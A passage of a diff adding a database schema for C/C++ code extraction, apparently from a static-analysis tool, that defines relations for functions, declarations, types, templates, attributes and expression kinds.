+ int id: @macroinvocation ref,
+ int location: @location ref
+);
+
+#keyset[invocation, argument_index]
+macro_argument_unexpanded(
+ int invocation: @macroinvocation ref,
+ int argument_index: int ref,
+ string text: string ref
+);
+
+#keyset[invocation, argument_index]
+macro_argument_expanded(
+ int invocation: @macroinvocation ref,
+ int argument_index: int ref,
+ string text: string ref
+);
+
+/*
+case @function.kind of
+ 1 = @normal_function
+| 2 = @constructor
+| 3 = @destructor
+| 4 = @conversion_function
+| 5 = @operator
+| 6 = @builtin_function // GCC built-in functions, e.g. __builtin___memcpy_chk
+| 7 = @user_defined_literal
+| 8 = @deduction_guide
+;
+*/
+
+functions(
+ unique int id: @function,
+ string name: string ref,
+ int kind: int ref
+);
+
+function_entry_point(
+ int id: @function ref,
+ unique int entry_point: @stmt ref
+);
+
+function_return_type(
+ int id: @function ref,
+ int return_type: @type ref
+);
+
+/**
+ * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits`
+ * instance associated with it, and the variables representing the `handle` and `promise`
+ * for it.
+ */
+coroutine(
+ unique int function: @function ref,
+ int traits: @type ref
+);
+
+/*
+case @coroutine_placeholder_variable.kind of
+ 1 = @handle
+| 2 = @promise
+| 3 = @init_await_resume
+;
+*/
+
+coroutine_placeholder_variable(
+ unique int placeholder_variable: @variable ref,
+ int kind: int ref,
+ int function: @function ref
+)
+
+/** The `new` function used for allocating the coroutine state, if any. */
+coroutine_new(
+ unique int function: @function ref,
+ int new: @function ref
+);
+
+/** The `delete` function used for deallocating the coroutine state, if any. */
+coroutine_delete(
+ unique int function: @function ref,
+ int delete: @function ref
+);
+
+purefunctions(unique int id: @function ref);
+
+function_deleted(unique int id: @function ref);
+
+function_defaulted(unique int id: @function ref);
+
+function_prototyped(unique int id: @function ref)
+
+deduction_guide_for_class(
+ int id: @function ref,
+ int class_template: @usertype ref
+)
+
+member_function_this_type(
+ unique int id: @function ref,
+ int this_type: @type ref
+);
+
+#keyset[id, type_id]
+fun_decls(
+ int id: @fun_decl,
+ int function: @function ref,
+ int type_id: @type ref,
+ string name: string ref,
+ int location: @location_default ref
+);
+fun_def(unique int id: @fun_decl ref);
+fun_specialized(unique int id: @fun_decl ref);
+fun_implicit(unique int id: @fun_decl ref);
+fun_decl_specifiers(
+ int id: @fun_decl ref,
+ string name: string ref
+)
+#keyset[fun_decl, index]
+fun_decl_throws(
+ int fun_decl: @fun_decl ref,
+ int index: int ref,
+ int type_id: @type ref
+);
+/* an empty throw specification is different from none */
+fun_decl_empty_throws(unique int fun_decl: @fun_decl ref);
+fun_decl_noexcept(
+ int fun_decl: @fun_decl ref,
+ int constant: @expr ref
+);
+fun_decl_empty_noexcept(int fun_decl: @fun_decl ref);
+fun_decl_typedef_type(
+ unique int fun_decl: @fun_decl ref,
+ int typedeftype_id: @usertype ref
+);
+
+/*
+case @fun_requires.kind of
+ 1 = @template_attached
+| 2 = @function_attached
+;
+*/
+
+fun_requires(
+ int id: @fun_decl ref,
+ int kind: int ref,
+ int constraint: @expr ref
+);
+
+param_decl_bind(
+ unique int id: @var_decl ref,
+ int index: int ref,
+ int fun_decl: @fun_decl ref
+);
+
+#keyset[id, type_id]
+var_decls(
+ int id: @var_decl,
+ int variable: @variable ref,
+ int type_id: @type ref,
+ string name: string ref,
+ int location: @location_default ref
+);
+var_def(unique int id: @var_decl ref);
+var_specialized(int id: @var_decl ref);
+var_decl_specifiers(
+ int id: @var_decl ref,
+ string name: string ref
+)
+is_structured_binding(unique int id: @variable ref);
+var_requires(
+ int id: @var_decl ref,
+ int constraint: @expr ref
+);
+
+type_decls(
+ unique int id: @type_decl,
+ int type_id: @type ref,
+ int location: @location_default ref
+);
+type_def(unique int id: @type_decl ref);
+type_decl_top(
+ unique int type_decl: @type_decl ref
+);
+type_requires(
+ int id: @type_decl ref,
+ int constraint: @expr ref
+);
+
+namespace_decls(
+ unique int id: @namespace_decl,
+ int namespace_id: @namespace ref,
+ int location: @location_default ref,
+ int bodylocation: @location_default ref
+);
+
+case @using.kind of
+ 1 = @using_declaration
+| 2 = @using_directive
+| 3 = @using_enum_declaration
+;
+
+usings(
+ unique int id: @using,
+ int element_id: @element ref,
+ int location: @location_default ref,
+ int kind: int ref
+);
+
+/** The element which contains the `using` declaration. */
+using_container(
+ int parent: @element ref,
+ int child: @using ref
+);
+
+static_asserts(
+ unique int id: @static_assert,
+ int condition : @expr ref,
+ string message : string ref,
+ int location: @location_default ref,
+ int enclosing : @element ref
+);
+
+// each function has an ordered list of parameters
+#keyset[id, type_id]
+#keyset[function, index, type_id]
+params(
+ int id: @parameter,
+ int function: @parameterized_element ref,
+ int index: int ref,
+ int type_id: @type ref
+);
+
+overrides(
+ int new: @function ref,
+ int old: @function ref
+);
+
+#keyset[id, type_id]
+membervariables(
+ int id: @membervariable,
+ int type_id: @type ref,
+ string name: string ref
+);
+
+#keyset[id, type_id]
+globalvariables(
+ int id: @globalvariable,
+ int type_id: @type ref,
+ string name: string ref
+);
+
+#keyset[id, type_id]
+localvariables(
+ int id: @localvariable,
+ int type_id: @type ref,
+ string name: string ref
+);
+
+autoderivation(
+ unique int var: @variable ref,
+ int derivation_type: @type ref
+);
+
+orphaned_variables(
+ int var: @localvariable ref,
+ int function: @function ref
+)
+
+enumconstants(
+ unique int id: @enumconstant,
+ int parent: @usertype ref,
+ int index: int ref,
+ int type_id: @type ref,
+ string name: string ref,
+ int location: @location_default ref
+);
+
+@variable = @localscopevariable | @globalvariable | @membervariable;
+
+@localscopevariable = @localvariable | @parameter;
+
+/**
+ * Built-in types are the fundamental types, e.g., integral, floating, and void.
+ */
+case @builtintype.kind of
+ 1 = @errortype
+| 2 = @unknowntype
+| 3 = @void
+| 4 = @boolean
+| 5 = @char
+| 6 = @unsigned_char
+| 7 = @signed_char
+| 8 = @short
+| 9 = @unsigned_short
+| 10 = @signed_short
+| 11 = @int
+| 12 = @unsigned_int
+| 13 = @signed_int
+| 14 = @long
+| 15 = @unsigned_long
+| 16 = @signed_long
+| 17 = @long_long
+| 18 = @unsigned_long_long
+| 19 = @signed_long_long
+// ... 20 Microsoft-specific __int8
+// ... 21 Microsoft-specific __int16
+// ... 22 Microsoft-specific __int32
+// ... 23 Microsoft-specific __int64
+| 24 = @float
+| 25 = @double
+| 26 = @long_double
+| 27 = @complex_float // C99-specific _Complex float
+| 28 = @complex_double // C99-specific _Complex double
+| 29 = @complex_long_double // C99-specific _Complex long double
+| 30 = @imaginary_float // C99-specific _Imaginary float
+| 31 = @imaginary_double // C99-specific _Imaginary double
+| 32 = @imaginary_long_double // C99-specific _Imaginary long double
+| 33 = @wchar_t // Microsoft-specific
+| 34 = @decltype_nullptr // C++11
+| 35 = @int128 // __int128
+| 36 = @unsigned_int128 // unsigned __int128
+| 37 = @signed_int128 // signed __int128
+| 38 = @float128 // __float128
+| 39 = @complex_float128 // _Complex __float128
+| 40 = @decimal32 // _Decimal32
+| 41 = @decimal64 // _Decimal64
+| 42 = @decimal128 // _Decimal128
+| 43 = @char16_t
+| 44 = @char32_t
+| 45 = @std_float32 // _Float32
+| 46 = @float32x // _Float32x
+| 47 = @std_float64 // _Float64
+| 48 = @float64x // _Float64x
+| 49 = @std_float128 // _Float128
+// ... 50 _Float128x
+| 51 = @char8_t
+| 52 = @float16 // _Float16
+| 53 = @complex_float16 // _Complex _Float16
+| 54 = @fp16 // __fp16
+| 55 = @std_bfloat16 // __bf16
+| 56 = @std_float16 // std::float16_t
+| 57 = @complex_std_float32 // _Complex _Float32
+| 58 = @complex_float32x // _Complex _Float32x
+| 59 = @complex_std_float64 // _Complex _Float64
+| 60 = @complex_float64x // _Complex _Float64x
+| 61 = @complex_std_float128 // _Complex _Float128
+| 62 = @mfp8 // __mfp8
+;
+
+builtintypes(
+ unique int id: @builtintype,
+ string name: string ref,
+ int kind: int ref,
+ int size: int ref,
+ int sign: int ref,
+ int alignment: int ref
+);
+
+/**
+ * Derived types are types that are directly derived from existing types and
+ * point to, refer to, transform type data to return a new type.
+ */
+case @derivedtype.kind of
+ 1 = @pointer
+| 2 = @reference
+| 3 = @type_with_specifiers
+| 4 = @array
+| 5 = @gnu_vector
+| 6 = @routineptr
+| 7 = @routinereference
+| 8 = @rvalue_reference // C++11
+// ... 9 type_conforming_to_protocols deprecated
+| 10 = @block
+;
+
+derivedtypes(
+ unique int id: @derivedtype,
+ string name: string ref,
+ int kind: int ref,
+ int type_id: @type ref
+);
+
+pointerishsize(unique int id: @derivedtype ref,
+ int size: int ref,
+ int alignment: int ref);
+
+arraysizes(
+ unique int id: @derivedtype ref,
+ int num_elements: int ref,
+ int bytesize: int ref,
+ int alignment: int ref
+);
+
+typedefbase(
+ unique int id: @usertype ref,
+ int type_id: @type ref
+);
+
+/**
+ * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual`
+ * operator taking an expression as its argument. For example:
+ * ```
+ * int a;
+ * decltype(1+a) b;
+ * typeof(1+a) c;
+ * ```
+ * Here `expr` is `1+a`.
+ *
+ * Sometimes an additional pair of parentheses around the expression
+ * changes the semantics of the decltype, e.g.
+ * ```
+ * struct A { double x; };
+ * const A* a = new A();
+ * decltype( a->x ); // type is double
+ * decltype((a->x)); // type is const double&
+ * ```
+ * (Please consult the C++11 standard for more details).
+ * `parentheses_would_change_meaning` is `true` iff that is the case.
+ */
+
+/*
+case @decltype.kind of
+| 0 = @decltype
+| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual
+;
+*/
+
+#keyset[id, expr]
+decltypes(
+ int id: @decltype,
+ int expr: @expr ref,
+ int kind: int ref,
+ int base_type: @type ref,
+ boolean parentheses_would_change_meaning: boolean ref
+);
+
+/*
+case @type_operator.kind of
+| 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual
+| 1 = @underlying_type
+| 2 = @bases
+| 3 = @direct_bases
+| 4 = @add_lvalue_reference
+| 5 = @add_pointer
+| 6 = @add_rvalue_reference
+| 7 = @decay
+| 8 = @make_signed
+| 9 = @make_unsigned
+| 10 = @remove_all_extents
+| 11 = @remove_const
+| 12 = @remove_cv
+| 13 = @remove_cvref
+| 14 = @remove_extent
+| 15 = @remove_pointer
+| 16 = @remove_reference_t
+| 17 = @remove_restrict
+| 18 = @remove_volatile
+| 19 = @remove_reference
+;
+*/
+
+type_operators(
+ unique int id: @type_operator,
+ int arg_type: @type ref,
+ int kind: int ref,
+ int base_type: @type ref
+)
+
+/*
+case @usertype.kind of
+| 0 = @unknown_usertype
+| 1 = @struct
+| 2 = @class
+| 3 = @union
+| 4 = @enum
+// ... 5 = @typedef deprecated // classic C: typedef typedef type name
+// ... 6 = @template deprecated
+| 7 = @template_parameter
+| 8 = @template_template_parameter
+| 9 = @proxy_class // a proxy class associated with a template parameter
+// ... 10 objc_class deprecated
+// ... 11 objc_protocol deprecated
+// ... 12 objc_category deprecated
+| 13 = @scoped_enum
+// ... 14 = @using_alias deprecated // a using name = type style typedef
+| 15 = @template_struct
+| 16 = @template_class
+| 17 = @template_union
+| 18 = @alias
+;
+*/
+
+usertypes(
+ unique int id: @usertype,
+ string name: string ref,
+ int kind: int ref
+);
+
+usertypesize(
+ unique int id: @usertype ref,
+ int size: int ref,
+ int alignment: int ref
+);
+
+usertype_final(unique int id: @usertype ref);
+
+usertype_uuid(
+ unique int id: @usertype ref,
+ string uuid: string ref
+);
+
+/*
+case @usertype.alias_kind of
+| 0 = @typedef
+| 1 = @alias
+*/
+
+usertype_alias_kind(
+ int id: @usertype ref,
+ int alias_kind: int ref
+)
+
+nontype_template_parameters(
+ int id: @expr ref
+);
+
+type_template_type_constraint(
+ int id: @usertype ref,
+ int constraint: @expr ref
+);
+
+mangled_name(
+ unique int id: @declaration ref,
+ int mangled_name : @mangledname,
+ boolean is_complete: boolean ref
+);
+
+is_pod_class(unique int id: @usertype ref);
+is_standard_layout_class(unique int id: @usertype ref);
+
+is_complete(unique int id: @usertype ref);
+
+is_class_template(unique int id: @usertype ref);
+class_instantiation(
+ int to: @usertype ref,
+ int from: @usertype ref
+);
+class_template_argument(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+class_template_argument_value(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+@user_or_decltype = @usertype | @decltype;
+
+is_proxy_class_for(
+ unique int id: @usertype ref,
+ int templ_param_id: @user_or_decltype ref
+);
+
+type_mentions(
+ unique int id: @type_mention,
+ int type_id: @type ref,
+ int location: @location ref,
+ // a_symbol_reference_kind from the frontend.
+ int kind: int ref
+);
+
+is_function_template(unique int id: @function ref);
+function_instantiation(
+ unique int to: @function ref,
+ int from: @function ref
+);
+function_template_argument(
+ int function_id: @function ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+function_template_argument_value(
+ int function_id: @function ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+is_variable_template(unique int id: @variable ref);
+variable_instantiation(
+ unique int to: @variable ref,
+ int from: @variable ref
+);
+variable_template_argument(
+ int variable_id: @variable ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+variable_template_argument_value(
+ int variable_id: @variable ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+template_template_instantiation(
+ int to: @usertype ref,
+ int from: @usertype ref
+);
+template_template_argument(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+template_template_argument_value(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+@concept = @concept_template | @concept_id;
+
+concept_templates(
+ unique int concept_id: @concept_template,
+ string name: string ref,
+ int location: @location_default ref
+);
+concept_instantiation(
+ unique int to: @concept_id ref,
+ int from: @concept_template ref
+);
+is_type_constraint(int concept_id: @concept_id ref);
+concept_template_argument(
+ int concept_id: @concept ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+concept_template_argument_value(
+ int concept_id: @concept ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+routinetypes(
+ unique int id: @routinetype,
+ int return_type: @type ref
+);
+
+routinetypeargs(
+ int routine: @routinetype ref,
+ int index: int ref,
+ int type_id: @type ref
+);
+
+ptrtomembers(
+ unique int id: @ptrtomember,
+ int type_id: @type ref,
+ int class_id: @type ref
+);
+
+/*
+ specifiers for types, functions, and variables
+
+ "public",
+ "protected",
+ "private",
+
+ "const",
+ "volatile",
+ "static",
+
+ "pure",
+ "virtual",
+ "sealed", // Microsoft
+ "__interface", // Microsoft
+ "inline",
+ "explicit",
+
+ "near", // near far extension
+ "far", // near far extension
+ "__ptr32", // Microsoft
+ "__ptr64", // Microsoft
+ "__sptr", // Microsoft
+ "__uptr", // Microsoft
+ "dllimport", // Microsoft
+ "dllexport", // Microsoft
+ "thread", // Microsoft
+ "naked", // Microsoft
+ "microsoft_inline", // Microsoft
+ "forceinline", // Microsoft
+ "selectany", // Microsoft
+ "nothrow", // Microsoft
+ "novtable", // Microsoft
+ "noreturn", // Microsoft
+ "noinline", // Microsoft
+ "noalias", // Microsoft
+ "restrict", // Microsoft
+*/
+
+specifiers(
+ unique int id: @specifier,
+ unique string str: string ref
+);
+
+typespecifiers(
+ int type_id: @type ref,
+ int spec_id: @specifier ref
+);
+
+funspecifiers(
+ int func_id: @function ref,
+ int spec_id: @specifier ref
+);
+
+varspecifiers(
+ int var_id: @accessible ref,
+ int spec_id: @specifier ref
+);
+
+explicit_specifier_exprs(
+ unique int func_id: @function ref,
+ int constant: @expr ref
+)
+
+attributes(
+ unique int id: @attribute,
+ int kind: int ref,
+ string name: string ref,
+ string name_space: string ref,
+ int location: @location_default ref
+);
+
+case @attribute.kind of
+ 0 = @gnuattribute
+| 1 = @stdattribute
+| 2 = @declspec
+| 3 = @msattribute
+| 4 = @alignas
+// ... 5 @objc_propertyattribute deprecated
+;
+
+attribute_args(
+ unique int id: @attribute_arg,
+ int kind: int ref,
+ int attribute: @attribute ref,
+ int index: int ref,
+ int location: @location_default ref
+);
+
+case @attribute_arg.kind of
+ 0 = @attribute_arg_empty
+| 1 = @attribute_arg_token
+| 2 = @attribute_arg_constant
+| 3 = @attribute_arg_type
+| 4 = @attribute_arg_constant_expr
+| 5 = @attribute_arg_expr
+;
+
+attribute_arg_value(
+ unique int arg: @attribute_arg ref,
+ string value: string ref
+);
+attribute_arg_type(
+ unique int arg: @attribute_arg ref,
+ int type_id: @type ref
+);
+attribute_arg_constant(
+ unique int arg: @attribute_arg ref,
+ int constant: @expr ref
+)
+attribute_arg_expr(
+ unique int arg: @attribute_arg ref,
+ int expr: @expr ref
+)
+attribute_arg_name(
+ unique int arg: @attribute_arg ref,
+ string name: string ref
+);
+
+typeattributes(
+ int type_id: @type ref,
+ int spec_id: @attribute ref
+);
+
+funcattributes(
+ int func_id: @function ref,
+ int spec_id: @attribute ref
+);
+
+varattributes(
+ int var_id: @accessible ref,
+ int spec_id: @attribute ref
+);
+
+stmtattributes(
+ int stmt_id: @stmt ref,
+ int spec_id: @attribute ref
+);
+
+@type = @builtintype
+ | @derivedtype
+ | @usertype
+ | @routinetype
+ | @ptrtomember
+ | @decltype
+ | @type_operator;
+
+unspecifiedtype(
+ unique int type_id: @type ref,
+ int unspecified_type_id: @type ref
+);
+
+member(
+ int parent: @type ref,
+ int index: int ref,
+ int child: @member ref
+);
+
+@enclosingfunction_child = @usertype | @variable | @namespace
+
+enclosingfunction(
+ unique int child: @enclosingfunction_child ref,
+ int parent: @function ref
+);
+
+derivations(
+ unique int derivation: @derivation,
+ int sub: @type ref,
+ int index: int ref,
+ int super: @type ref,
+ int location: @location_default ref
+);
+
+derspecifiers(
+ int der_id: @derivation ref,
+ int spec_id: @specifier ref
+);
+
+/**
+ * Contains the byte offset of the base class subobject within the derived
+ * class. Only holds for non-virtual base classes, but see table
+ * `virtual_base_offsets` for offsets of virtual base class subobjects.
+ */
+direct_base_offsets(
+ unique int der_id: @derivation ref,
+ int offset: int ref
+);
+
+/**
+ * Contains the byte offset of the virtual base class subobject for class
+ * `super` within a most-derived object of class `sub`. `super` can be either a
+ * direct or indirect base class.
+ */
+#keyset[sub, super]
+virtual_base_offsets(
+ int sub: @usertype ref,
+ int super: @usertype ref,
+ int offset: int ref
+);
+
+frienddecls(
+ unique int id: @frienddecl,
+ int type_id: @type ref,
+ int decl_id: @declaration ref,
+ int location: @location_default ref
+);
+
+@declaredtype = @usertype ;
+
+@declaration = @function
+ | @declaredtype
+ | @variable
+ | @enumconstant
+ | @frienddecl
+ | @concept_template;
+
+@member = @membervariable
+ | @function
+ | @declaredtype
+ | @enumconstant;
+
+@locatable = @diagnostic
+ | @declaration
+ | @ppd_include
+ | @ppd_define
+ | @macroinvocation
+ /*| @funcall*/
+ | @xmllocatable
+ | @attribute
+ | @attribute_arg;
+
+@namedscope = @namespace | @usertype;
+
+@element = @locatable
+ | @file
+ | @folder
+ | @specifier
+ | @type
+ | @expr
+ | @namespace
+ | @initialiser
+ | @stmt
+ | @derivation
+ | @comment
+ | @preprocdirect
+ | @fun_decl
+ | @var_decl
+ | @type_decl
+ | @namespace_decl
+ | @using
+ | @namequalifier
+ | @specialnamequalifyingelement
+ | @static_assert
+ | @type_mention
+ | @lambdacapture;
+
+@exprparent = @element;
+
+comments(
+ unique int id: @comment,
+ string contents: string ref,
+ int location: @location_default ref
+);
+
+commentbinding(
+ int id: @comment ref,
+ int element: @element ref
+);
+
+exprconv(
+ int converted: @expr ref,
+ unique int conversion: @expr ref
+);
+
+compgenerated(unique int id: @element ref);
+
+/**
+ * `destructor_call` destructs the `i`'th entity that should be
+ * destructed following `element`. Note that entities should be
+ * destructed in reverse construction order, so for a given `element`
+ * these should be called from highest to lowest `i`.
+ */
+#keyset[element, destructor_call]
+#keyset[element, i]
+synthetic_destructor_call(
+ int element: @element ref,
+ int i: int ref,
+ int destructor_call: @routineexpr ref
+);
+
+namespaces(
+ unique int id: @namespace,
+ string name: string ref
+);
+
+namespace_inline(
+ unique int id: @namespace ref
+);
+
+namespacembrs(
+ int parentid: @namespace ref,
+ unique int memberid: @namespacembr ref
+);
+
+@namespacembr = @declaration | @namespace;
+
+exprparents(
+ int expr_id: @expr ref,
+ int child_index: int ref,
+ int parent_id: @exprparent ref
+);
+
+expr_isload(unique int expr_id: @expr ref);
+
+@cast = @c_style_cast
+ | @const_cast
+ | @dynamic_cast
+ | @reinterpret_cast
+ | @static_cast
+ ;
+
+/*
+case @conversion.kind of
+ 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast
+| 1 = @bool_conversion // conversion to 'bool'
+| 2 = @base_class_conversion // a derived-to-base conversion
+| 3 = @derived_class_conversion // a base-to-derived conversion
+| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member
+| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member
+| 6 = @glvalue_adjust // an adjustment of the type of a glvalue
+| 7 = @prvalue_adjust // an adjustment of the type of a prvalue
+;
+*/
+/**
+ * Describes the semantics represented by a cast expression. This is largely
+ * independent of the source syntax of the cast, so it is separate from the
+ * regular expression kind.
+ */
+conversionkinds(
+ unique int expr_id: @cast ref,
+ int kind: int ref
+);
+
+@conversion = @cast
+ | @array_to_pointer
+ | @parexpr
+ | @reference_to
+ | @ref_indirect
+ | @temp_init
+ | @c11_generic
+ ;
+
+/*
+case @funbindexpr.kind of
+ 0 = @normal_call // a normal call
+| 1 = @virtual_call // a virtual call
+| 2 = @adl_call // a call whose target is only found by ADL
+;
+*/
+iscall(
+ unique int caller: @funbindexpr ref,
+ int kind: int ref
+);
+
+numtemplatearguments(
+ unique int expr_id: @expr ref,
+ int num: int ref
+);
+
+specialnamequalifyingelements(
+ unique int id: @specialnamequalifyingelement,
+ unique string name: string ref
+);
+
+@namequalifiableelement = @expr | @namequalifier;
+@namequalifyingelement = @namespace
+ | @specialnamequalifyingelement
+ | @usertype;
+
+namequalifiers(
+ unique int id: @namequalifier,
+ unique int qualifiableelement: @namequalifiableelement ref,
+ int qualifyingelement: @namequalifyingelement ref,
+ int location: @location_default ref
+);
+
+varbind(
+ int expr: @varbindexpr ref,
+ int var: @accessible ref
+);
+
+funbind(
+ int expr: @funbindexpr ref,
+ int fun: @function ref
+);
+
+@any_new_expr = @new_expr
+ | @new_array_expr;
+
+@new_or_delete_expr = @any_new_expr
+ | @delete_expr
+ | @delete_array_expr;
+
+@prefix_crement_expr = @preincrexpr | @predecrexpr;
+
+@postfix_crement_expr = @postincrexpr | @postdecrexpr;
+
+@increment_expr = @preincrexpr | @postincrexpr;
+
+@decrement_expr = @predecrexpr | @postdecrexpr;
+
+@crement_expr = @increment_expr | @decrement_expr;
+
+@un_arith_op_expr = @arithnegexpr
+ | @unaryplusexpr
+ | @conjugation
+ | @realpartexpr
+ | @imagpartexpr
+ | @crement_expr
+ ;
+
+@un_bitwise_op_expr = @complementexpr;
+
+@un_log_op_expr = @notexpr;
+
+@un_op_expr = @address_of
+ | @indirect
+ | @un_arith_op_expr
+ | @un_bitwise_op_expr
+ | @builtinaddressof
+ | @vec_fill
+ | @un_log_op_expr
+ | @co_await
+ | @co_yield
+ ;
+
+@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr;
+
+@cmp_op_expr = @eq_op_expr | @rel_op_expr;
+
+@eq_op_expr = @eqexpr | @neexpr;
+
+@rel_op_expr = @gtexpr
+ | @ltexpr
+ | @geexpr
+ | @leexpr
+ | @spaceshipexpr
+ ;
+
+@bin_bitwise_op_expr = @lshiftexpr
+ | @rshiftexpr
+ | @andexpr
+ | @orexpr
+ | @xorexpr
+ ;
+
+@p_arith_op_expr = @paddexpr
+ | @psubexpr
+ | @pdiffexpr
+ ;
+
+@bin_arith_op_expr = @addexpr
+ | @subexpr
+ | @mulexpr
+ | @divexpr
+ | @remexpr
+ | @jmulexpr
+ | @jdivexpr
+ | @fjaddexpr
+ | @jfaddexpr
+ | @fjsubexpr
+ | @jfsubexpr
+ | @minexpr
+ | @maxexpr
+ | @p_arith_op_expr
+ ;
+
+@bin_op_expr = @bin_arith_op_expr
+ | @bin_bitwise_op_expr
+ | @cmp_op_expr
+ | @bin_log_op_expr
+ ;
+
+@op_expr = @un_op_expr
+ | @bin_op_expr
+ | @assign_expr
+ | @conditionalexpr
+ ;
+
+@assign_arith_expr = @assignaddexpr
+ | @assignsubexpr
+ | @assignmulexpr
+ | @assigndivexpr
+ | @assignremexpr
+ ;
+
+@assign_bitwise_expr = @assignandexpr
+ | @assignorexpr
+ | @assignxorexpr
+ | @assignlshiftexpr
+ | @assignrshiftexpr
+ ;
+
+@assign_pointer_expr = @assignpaddexpr
+ | @assignpsubexpr
+ ;
+
+@assign_op_expr = @assign_arith_expr
+ | @assign_bitwise_expr
+ | @assign_pointer_expr
+ ;
+
+@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr
+
+/*
+ Binary encoding of the allocator form.
+
+ case @allocator.form of
+ 0 = plain
+ | 1 = alignment
+ ;
+*/
+
+/**
+ * The allocator function associated with a `new` or `new[]` expression.
+ * The `form` column specified whether the allocation call contains an alignment
+ * argument.
+ */
+expr_allocator(
+ unique int expr: @any_new_expr ref,
+ int func: @function ref,
+ int form: int ref
+);
+
+/*
+ Binary encoding of the deallocator form.
+
+ case @deallocator.form of
+ 0 = plain
+ | 1 = size
+ | 2 = alignment
+ | 4 = destroying_delete
+ ;
+*/
+
+/**
+ * The deallocator function associated with a `delete`, `delete[]`, `new`, or
+ * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the
+ * one used to free memory if the initialization throws an exception.
+ * The `form` column specifies whether the deallocation call contains a size
+ * argument, and alignment argument, or both.
+ */
+expr_deallocator(
+ unique int expr: @new_or_delete_expr ref,
+ int func: @function ref,
+ int form: int ref
+);
+
+/**
+ * Holds if the `@conditionalexpr` is of the two operand form
+ * `guard ? : false`.
+ */
+expr_cond_two_operand(
+ unique int cond: @conditionalexpr ref
+);
+
+/**
+ * The guard of `@conditionalexpr` `guard ? true : false`
+ */
+expr_cond_guard(
+ unique int cond: @conditionalexpr ref,
+ int guard: @expr ref
+);
+
+/**
+ * The expression used when the guard of `@conditionalexpr`
+ * `guard ? true : false` holds. For the two operand form
+ * `guard ?: false` consider using `expr_cond_guard` instead.
+ */
+expr_cond_true(
+ unique int cond: @conditionalexpr ref,
+ int true: @expr ref
+);
+
+/**
+ * The expression used when the guard of `@conditionalexpr`
+ * `guard ? true : false` does not hold.
+ */
+expr_cond_false(
+ unique int cond: @conditionalexpr ref,
+ int false: @expr ref
+);
+
+/** A string representation of the value. */
+values(
+ unique int id: @value,
+ string str: string ref
+);
+
+/** The actual text in the source code for the value, if any. */
+valuetext(
+ unique int id: @value ref,
+ string text: string ref
+);
+
+valuebind(
+ int val: @value ref,
+ unique int expr: @expr ref
+);
+
+fieldoffsets(
+ unique int id: @variable ref,
+ int byteoffset: int ref,
+ int bitoffset: int ref
+);
+
+bitfield(
+ unique int id: @variable ref,
+ int bits: int ref,
+ int declared_bits: int ref
+);
+
+/* TODO
+memberprefix(
+ int member: @expr ref,
+ int prefix: @expr ref
+);
+*/
+
+/*
+ kind(1) = mbrcallexpr
+ kind(2) = mbrptrcallexpr
+ kind(3) = mbrptrmbrcallexpr
+ kind(4) = ptrmbrptrmbrcallexpr
+ kind(5) = mbrreadexpr // x.y
+ kind(6) = mbrptrreadexpr // p->y
+ kind(7) = mbrptrmbrreadexpr // x.*pm
+ kind(8) = mbrptrmbrptrreadexpr // x->*pm
+ kind(9) = staticmbrreadexpr // static x.y
+ kind(10) = staticmbrptrreadexpr // static p->y
+*/
+/* TODO
+memberaccess(
+ int member: @expr ref,
+ int kind: int ref
+);
+*/
+
+initialisers(
+ unique int init: @initialiser,
+ int var: @accessible ref,
+ unique int expr: @expr ref,
+ int location: @location_expr ref
+);
+
+braced_initialisers(
+ int init: @initialiser ref
+);
+
+/**
+ * An ancestor for the expression, for cases in which we cannot
+ * otherwise find the expression's parent.
+ */
+expr_ancestor(
+ int exp: @expr ref,
+ int ancestor: @element ref
+);
+
+exprs(
+ unique int id: @expr,
+ int kind: int ref,
+ int location: @location_expr ref
+);
+
+expr_reuse(
+ int reuse: @expr ref,
+ int original: @expr ref,
+ int value_category: int ref
+)
+
+/*
+ case @value.category of
+ 1 = prval
+ | 2 = xval
+ | 3 = lval
+ ;
+*/
+expr_types(
+ int id: @expr ref,
+ int typeid: @type ref,
+ int value_category: int ref
+);
+
+case @expr.kind of
+ 1 = @errorexpr
+| 2 = @address_of // & AddressOfExpr
+| 3 = @reference_to // ReferenceToExpr (implicit?)
+| 4 = @indirect // * PointerDereferenceExpr
+| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?)
+// ...
+| 8 = @array_to_pointer // (???)
+| 9 = @vacuous_destructor_call // VacuousDestructorCall
+// ...
+| 11 = @assume // Microsoft
+| 12 = @parexpr
+| 13 = @arithnegexpr
+| 14 = @unaryplusexpr
+| 15 = @complementexpr
+| 16 = @notexpr
+| 17 = @conjugation // GNU ~ operator
+| 18 = @realpartexpr // GNU __real
+| 19 = @imagpartexpr // GNU __imag
+| 20 = @postincrexpr
+| 21 = @postdecrexpr
+| 22 = @preincrexpr
+| 23 = @predecrexpr
+| 24 = @conditionalexpr
+| 25 = @addexpr
+| 26 = @subexpr
+| 27 = @mulexpr
+| 28 = @divexpr
+| 29 = @remexpr
+| 30 = @jmulexpr // C99 mul imaginary
+| 31 = @jdivexpr // C99 div imaginary
+| 32 = @fjaddexpr // C99 add real + imaginary
+| 33 = @jfaddexpr // C99 add imaginary + real
+| 34 = @fjsubexpr // C99 sub real - imaginary
+| 35 = @jfsubexpr // C99 sub imaginary - real
+| 36 = @paddexpr // pointer add (pointer + int or int + pointer)
+| 37 = @psubexpr // pointer sub (pointer - integer)
+| 38 = @pdiffexpr // difference between two pointers
